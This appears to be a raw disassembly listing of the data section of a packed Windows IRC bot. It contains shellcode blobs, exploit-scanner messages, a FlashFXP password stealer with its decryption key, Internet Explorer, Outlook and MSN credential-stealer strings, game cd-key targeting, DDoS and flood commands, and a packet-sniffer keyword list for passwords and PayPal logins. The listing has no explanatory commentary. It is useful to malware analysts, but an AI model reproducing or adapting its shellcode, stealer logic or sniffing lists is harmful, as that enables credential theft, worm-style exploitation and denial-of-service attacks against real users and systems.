205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_417A84 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_40E2C1+1Ao dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_417B38 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_40E496+5Bo dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_417CB5 db 0E3h ; DATA XREF: sub_40E399+ACr ; sub_40E399+D8w align 4 dword_417CB8 dd 4113E68Bh ; DATA XREF: sub_40E399+49r ; sub_40E399+98w align 10h off_417CC0 dd offset dword_417D18 ; DATA XREF: sub_40E523+40r dd offset dword_417D0C dd offset dword_417D04 dd offset dword_417CF0 dd offset dword_417CE4 dd offset dword_417D04 dd 3 dup(0) dword_417CE4 dd 0CEACFBEAh, 2 dup(0) ; DATA XREF: kkrunchy:00417CD0o ; kkrunchy:00418E30o dword_417CF0 dd 0D5ABFDB2h, 878E89BEh, 0A893A5C9h, 0D3C9E6h, 0 ; DATA XREF: kkrunchy:00417CCCo ; kkrunchy:00418E2Co dword_417D04 dd 2 dup(0) ; DATA XREF: kkrunchy:00417CC8o ; kkrunchy:00417CD4o ... dword_417D0C dd 0CEA0FBE6h, 2 dup(0) ; DATA XREF: kkrunchy:00417CC4o ; kkrunchy:off_418E24o dword_417D18 dd 0D5A9FFBFh, 0C38D83BFh, 0A8CAAFD2h, 0DDC5EAh, 0 ; DATA XREF: kkrunchy:off_417CC0o ; kkrunchy:off_418E20o dword_417D2C dd 72h ; DATA XREF: sub_40E707+F4o dword_417D30 dd 62h ; DATA XREF: sub_40E829+7Fo dword_417D34 dd 63h ; DATA XREF: sub_40E8E1+3Ao dword_417D38 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_40E951+66o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_417D70 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_40EA2F+79o dd 74726F70h, 34300320h, 3752502h, 2, 0 dword_417D98 dd 96F7ADBAh ; DATA XREF: sub_40E64D+2Dr ; sub_40EE23+57o ... dd 3 dup(0) dd 0EF000000h, 0ADFDh, 3 dup(0) db 2 dup(0) word_417DBE dw 6428h ; DATA XREF: sub_40EAC4+2Do dd 79ABh db 2 dup(0) off_417DC6 dd offset sub_40BC10 ; DATA XREF: sub_40E64D+5r ; sub_40E64D+Do ... dw 3 dd 0 dd 0ADBA0000h, 0E796F7h, 3 dup(0) dd 0ADFDEF00h, 4 dup(0) dd 2845B81h, 0 dd offset sub_40BE68 dd 3, 0 dd 8BECABB0h, 0D692B4h, 2 dup(0) dd 0EA000000h, 0ADFAh, 3 dup(0) dd 0DA9B0000h, 88F7h, 0C79B0000h, 30040h, 0 dd 0BDB20000h, 0A688F9h, 3 dup(0) dd 0ADFAEA00h, 4 dup(0) dd 65F8A73Fh, 0 dd offset sub_40C501 dd 3, 0 dd 0E8A0AEh, 3 dup(0) dd 0EA000000h, 0ADFAh, 3 dup(0) dd 1E2B0000h, 2E6Fh, 0CD920000h, 30040h, 0 dd 0A0AE0000h, 0C9E8h, 3 dup(0) dd 0ADFAEA00h, 4 dup(0) dd 9FA193F5h, 0 dd offset loc_40CDA0 dd 3, 0 dd 0EBA5A9h, 3 dup(0) dd 0EF000000h, 0ADFDh, 3 dup(0) dd 29C80000h, 0BA2h, 0D3D60000h, 30040h, 0 dd 0A5A90000h, 0C9EBh, 3 dup(0) dd 0ADFDEF00h, 4 dup(0) dd 311637D5h, 0 dd offset sub_40D3D6 dd 3, 0 dd 0C8EBA5A9h, 3 dup(0) dd 0EA000000h, 0ADFAh, 3 dup(0) dd 573E0000h, 1AB7h, 0D3D60000h, 30040h, 0 dd 0A5A90000h, 0CFEBh, 3 dup(0) dd 0ADFAEA00h, 4 dup(0) dd 0ECA2D655h, 0 dd offset sub_40D3D6 dd 3, 0 dd 9EF5AFBAh, 92CC87A2h, 2 dup(0) dd 0E8000000h, 0C2AAFFh, 3 dup(0) dd 0CBA0000h, 99ABh, 0B7D00000h, 10040h, 0 dd 0AFBA0000h, 87A29EF5h, 8B92CCh, 2 dup(0) dd 0AAFFE800h, 0C2h, 3 dup(0) dd 8A624BE8h, 0 dd offset sub_40BAAF dd 1, 0 dd 8AEBBDB3h, 0B9h, 2 dup(0) dd 0EF000000h, 0C8ABFAh, 3 dup(0) dd 7A860000h, 5AAAh, 0C63E0000h, 10040h, 0 dd 0BDB30000h, 96B98AEBh, 0CA84DFh, 2 dup(0) dd 0ABFAEF00h, 0C8h, 3 dup(0) dd 2C5C7588h, 0 dd offset nullsub_1 dd 1, 0 dd 98EBA7BDh, 0BAh, 2 dup(0) dd 0EC000000h, 0FDh, 3 dup(0) dd 799F0000h, 7C9Ch, 0B61A0000h, 40h, 10h dup(0) dword_418138 dd 6E695728h, 293233h ; DATA XREF: sub_40EB16+18Do dword_418140 dd 696E5528h, 2978h ; DATA XREF: sub_40EB16+16Fo dword_418148 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40EB16+162o aApache db 'Apache',0 ; DATA XREF: sub_40EB16+149o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40EB16+EAo aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_40EB16+CAo align 10h aServer db 'Server:',0 ; DATA XREF: sub_40EB16+72o aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40EB16+Eo db 0Dh,0Ah,0 align 10h unk_4181A0 db 53h ; S ; DATA XREF: sub_40EE23+475o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_4181E4 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_40EE23+412o dword_4181F8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_40EE23+26Ao dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_418230 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_40EE23+234o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41825C db 53h ; S ; DATA XREF: sub_40F2C2+186o db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_418294 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_40F461+24Ao dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_4182D8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_40F461+1F6o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_418308 db 2Dh ; - ; DATA XREF: sub_40F461+39o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 4 aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40F6CD+43o dword_41835C dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_40F727+7Do aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_40F727+2Co align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_40F7FD+21o align 10h dword_4183A0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_40F835:loc_40F8E1o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_4183D0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_40F835+A5o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_418408 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_40F835+72o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_418438 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_40F908+A7o dd 30032074h, 73250234h, 203h unk_418458 db 53h ; S ; DATA XREF: sub_40F9C9+1B4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_418494 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_40F9C9+164o dword_4184A8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_40F9C9+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_4184F0 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_40FBA7+15Fo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40FD22+15o ; sub_40FD22+73o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+DAo align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+9Co aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_40FDB3+91o align 4 aSites_dat db 'sites.dat',0 ; DATA XREF: sub_40FDB3+6Co align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_40FDB3+55o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_40FDB3+15o align 4 unk_4185E4 db 2Dh ; - ; DATA XREF: sub_40FEB8+2D3o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 10h dword_418620 dd 2343003h, 2037525h ; DATA XREF: sub_40FEB8+27Ao a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+219o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+202o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+1EBo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+1D4o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41868C db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_40FEB8+1A7o align 4 aPass_0 db 0Dh,0Ah ; DATA XREF: sub_40FEB8+130o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_40FEB8+122o db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_40FEB8+114o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_40FEB8+107o db 'IP=',0 align 4 asc_4186B8 db 0Dh,0Ah ; DATA XREF: sub_40FEB8:loc_40FFB4o db 0Dh,0Ah db '[',0 align 10h unk_4186C0 db 2Dh ; - ; DATA XREF: sub_40FEB8+5Co db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 4 aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_4101AE+21o align 4 unk_418704 db 2Dh ; - ; DATA XREF: sub_4101E6+718o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 10h dword_418740 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_4101E6+688o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41879C dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_4101E6+5F2o dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_4187E4 dd 70747468h, 2F3A73h ; DATA XREF: sub_4101E6+5B0o dword_4187EC dd 70747468h, 2F3Ah ; DATA XREF: sub_4101E6+599o dword_4187F4 dd 7274533Ah, 676E69h ; DATA XREF: sub_4101E6+554o aStringindex db 'StringIndex',0 ; DATA XREF: sub_4101E6+53Fo aE161255a db 'e161255a',0 ; DATA XREF: sub_4101E6+525o align 4 dword_418814 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_4101E6+4FEo dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_418854 dd 2Ch ; DATA XREF: sub_4101E6+442o ; sub_4101E6+619o aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_4101E6+3B7o align 4 dword_418864 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_4101E6+3A3o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_4101E6+310o align 4 dword_4188C8 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_4101E6+2FCo dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_4101E6+2CEo align 4 aWs db '%ws',0 ; DATA XREF: sub_4101E6+1FAo asc_418918 db '%x',0 ; DATA XREF: sub_4101E6+117o align 4 unk_41891C db 2Dh ; - ; DATA XREF: sub_4101E6+B0o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 10h dword_418950 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_4101E6+85o ; sub_4101E6+154o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_41094B+2Ao align 4 dword_418984 dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_410999+180o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_410999+EFo align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_410999+BFo align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_410999+91o align 4 aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_410999+77o align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_410999+59o aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_410B3B+21o align 4 off_418AB4 dd offset aUser_1 ; DATA XREF: sub_410BC3+2Do ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" align 10h off_418B10 dd offset aLogin_0 ; DATA XREF: sub_410BC3+45o ; "login " align 8 dd offset aSxt ; "sxt " align 10h dd offset aAuth ; "auth " align 8 dd offset aPasswort ; "passwort " align 10h dd offset aCdkey ; "cdkey" align 8 dd offset aCdKey_0 ; "cd-key" align 10h dd offset aCdKey ; "cd key" align 8 dd offset aPassword ; "password" align 10h dd offset aPaypal_com ; "paypal.com" align 8 dd offset aPaypal ; "paypal" align 10h dd offset aIrcOperator ; "irc operator" align 8 dd offset aLP ; "l/p" align 10h dd offset aSsh1_5 ; "SSH-1.5" align 8 dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_418B84 dd offset aSetCookie ; DATA XREF: sub_410BC3+5Do ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" dd 2 dup(0) off_418BC8 dd offset dword_418C24 ; DATA XREF: sub_410BC3+75o align 10h dd offset dword_418C1C align 8 dd offset dword_418C14 align 10h dd offset dword_418C0C align 8 dd offset dword_418C04 align 10h dd offset dword_418BFC dd 2 dup(0) dword_418BFC dd 54495551h, 20h ; DATA XREF: kkrunchy:00418BF0o dword_418C04 dd 54524150h, 20h ; DATA XREF: kkrunchy:00418BE8o dword_418C0C dd 4E494F4Ah, 20h ; DATA XREF: kkrunchy:00418BE0o dword_418C14 dd 49504F54h, 2043h ; DATA XREF: kkrunchy:00418BD8o dword_418C1C dd 49544F4Eh, 204543h ; DATA XREF: kkrunchy:00418BD0o dword_418C24 dd 56495250h, 2047534Dh, 0 ; DATA XREF: kkrunchy:off_418BC8o aDdos db 'ddos',0 ; DATA XREF: kkrunchy:00418BBCo align 4 aServu db 'servu',0 ; DATA XREF: kkrunchy:00418BB4o align 10h aServU db 'serv u',0 ; DATA XREF: kkrunchy:00418BACo align 4 aServU_0 db 'serv-u',0 ; DATA XREF: kkrunchy:00418BA4o align 10h aClone db 'clone ',0 ; DATA XREF: kkrunchy:00418B9Co align 4 aFlood db 'flood ',0 ; DATA XREF: kkrunchy:00418B94o align 10h aSyn db 'syn',0 ; DATA XREF: kkrunchy:00418B8Co aSetCookie db 'Set-Cookie:',0 ; DATA XREF: kkrunchy:off_418B84o aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: kkrunchy:00418B78o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: kkrunchy:00418B70o aLP db 'l/p',0 ; DATA XREF: kkrunchy:00418B68o aIrcOperator db 'irc operator',0 ; DATA XREF: kkrunchy:00418B60o align 4 aPaypal db 'paypal',0 ; DATA XREF: kkrunchy:00418B58o align 10h aPaypal_com db 'paypal.com',0 ; DATA XREF: kkrunchy:00418B50o align 4 aCdKey db 'cd key',0 ; DATA XREF: kkrunchy:00418B40o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: kkrunchy:00418B38o align 4 aCdkey db 'cdkey',0 ; DATA XREF: kkrunchy:00418B30o align 4 aPasswort db 'passwort ',0 ; DATA XREF: kkrunchy:00418B28o align 10h aAuth db 'auth ',0 ; DATA XREF: kkrunchy:00418B20o align 4 aSxt db 'sxt ',0 ; DATA XREF: kkrunchy:00418B18o align 10h aLogin_0 db 'login ',0 ; DATA XREF: kkrunchy:off_418B10o align 4 aPw db 'pw=',0 ; DATA XREF: kkrunchy:00418B04o aPass_1 db 'pass=',0 ; DATA XREF: kkrunchy:00418AFCo align 4 aLogin_1 db 'login=',0 ; DATA XREF: kkrunchy:00418AF4o align 4 aPassword_0 db 'password=',0 ; DATA XREF: kkrunchy:00418AECo align 4 aUsername_0 db 'username=',0 ; DATA XREF: kkrunchy:00418AE4o align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: kkrunchy:00418ADCo aAuth_0 db ' :auth ',0 ; DATA XREF: kkrunchy:00418AD4o aIdentify db 'identify ',0 ; DATA XREF: kkrunchy:00418ACCo align 10h aOper db 'oper ',0 ; DATA XREF: kkrunchy:00418AC4o align 4 aMailpass db 'MailPass ',0 ; DATA XREF: kkrunchy:00418AC0o align 4 aPass_2 db 'pass ',0 ; DATA XREF: kkrunchy:00418ABCo align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: kkrunchy:00418AB8o align 4 aUser_1 db 'user ',0 ; DATA XREF: kkrunchy:off_418AB4o align 10h dword_418D60 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_410C55+379o dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_418D94 db 2Dh ; - ; DATA XREF: sub_410C55+FBo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 4 dword_418DC8 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_4110B4+6Fo dd 6E732074h, 65666669h, 72h, 418DECh, 97F7A1AEh, 87CA88FBh dd 0E18DA597h, 2 dup(0) dword_418E00 dd 0CD9F82A3h ; DATA XREF: sub_407A76+53Er ; kkrunchy:0041123Cr ... dword_418E04 dd 0D4EE5D68h ; DATA XREF: kkrunchy:00411235r dword_418E08 dd 1FC7575Bh ; DATA XREF: kkrunchy:0041122Ar dword_418E0C dd 139AB344h ; DATA XREF: kkrunchy:00411224r dd 7265h, 0 off_418E18 dd offset dword_4190E0 ; DATA XREF: sub_40A236+108r ; sub_40A236+110o ... align 10h off_418E20 dd offset dword_417D18 ; DATA XREF: sub_407A76+4EEr ; sub_4091AD+51r ... off_418E24 dd offset dword_417D0C ; DATA XREF: sub_4091AD+85r off_418E28 dd offset dword_417D04 ; DATA XREF: sub_4091AD+96r dd offset dword_417CF0 dd offset dword_417CE4 dd offset dword_417D04 dd 3 dup(0) dword_418E44 dd 0C4A7F1E1h, 81D9EAh, 0 ; DATA XREF: sub_409277+126o ; sub_409918+27Bo dword_418E50 dd 656E2323h, 23736472h, 23h, 1Dh dup(0) ; DATA XREF: sub_40287C+109o ; sub_406BBC+59o ... byte_418ED0 db 0FDh ; DATA XREF: sub_409277+23Er ; sub_409277+24Do db 0EDh, 0EBh, 8Eh dd 99CC83A5h, 0F59BB8DCh, 83A7h, 1Ch dup(0) byte_418F50 db 0 ; DATA XREF: sub_409277+261r ; sub_409277+26Fo align 4 dd 1Fh dup(0) dword_418FD0 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_407A76:loc_408CDDo ; sub_409918+206o dword_418FDC dd 98FAABA9h, 0D98CD5B9h, 93A6DDh, 3Eh dup(0) ; DATA XREF: sub_404D00+33o ; sub_404DAD+32o dword_4190E0 dd 0BBB2EFF4h, 93CC83BBh, 0E999E4CAh, 8BC58EF6h, 0ABB8h ; DATA XREF: kkrunchy:off_418E18o dd 0 dword_4190F8 dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: kkrunchy:0041149Bo aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 ; DATA XREF: kkrunchy:00411474o align 10h aLoop db 'loop',0 ; DATA XREF: kkrunchy:loc_411440o align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: kkrunchy:004113E5o align 4 a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: kkrunchy:00411242o align 10h dword_419170 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_4117FE+15o off_419180 dd offset off_4122CC ; DATA XREF: kkrunchy:off_4122D0o ; kkrunchy:0041230Co ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_4191A0 dd offset off_4122CC ; DATA XREF: kkrunchy:off_412318o ; kkrunchy:00412354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_4191B8 dd 0 ; DATA XREF: sub_401534:loc_401548r ; sub_401621+143w dword_4191BC dd 0 ; DATA XREF: sub_401534:loc_401555r ; sub_401621+14Bw ... dword_4191C0 dd 0 ; DATA XREF: sub_401534:loc_401562r ; sub_401621+ACo ... dword_4191C4 dd 0 ; DATA XREF: sub_401534r ; sub_401621+13Bw ... dd 0 dword_4191CC dd 0 ; DATA XREF: sub_401571+35r ; sub_401571+50r ... byte_4191D0 db 0 ; DATA XREF: sub_401621+10Bo ; sub_402230+3Br ... align 8 dword_4191D8 dd 0 ; DATA 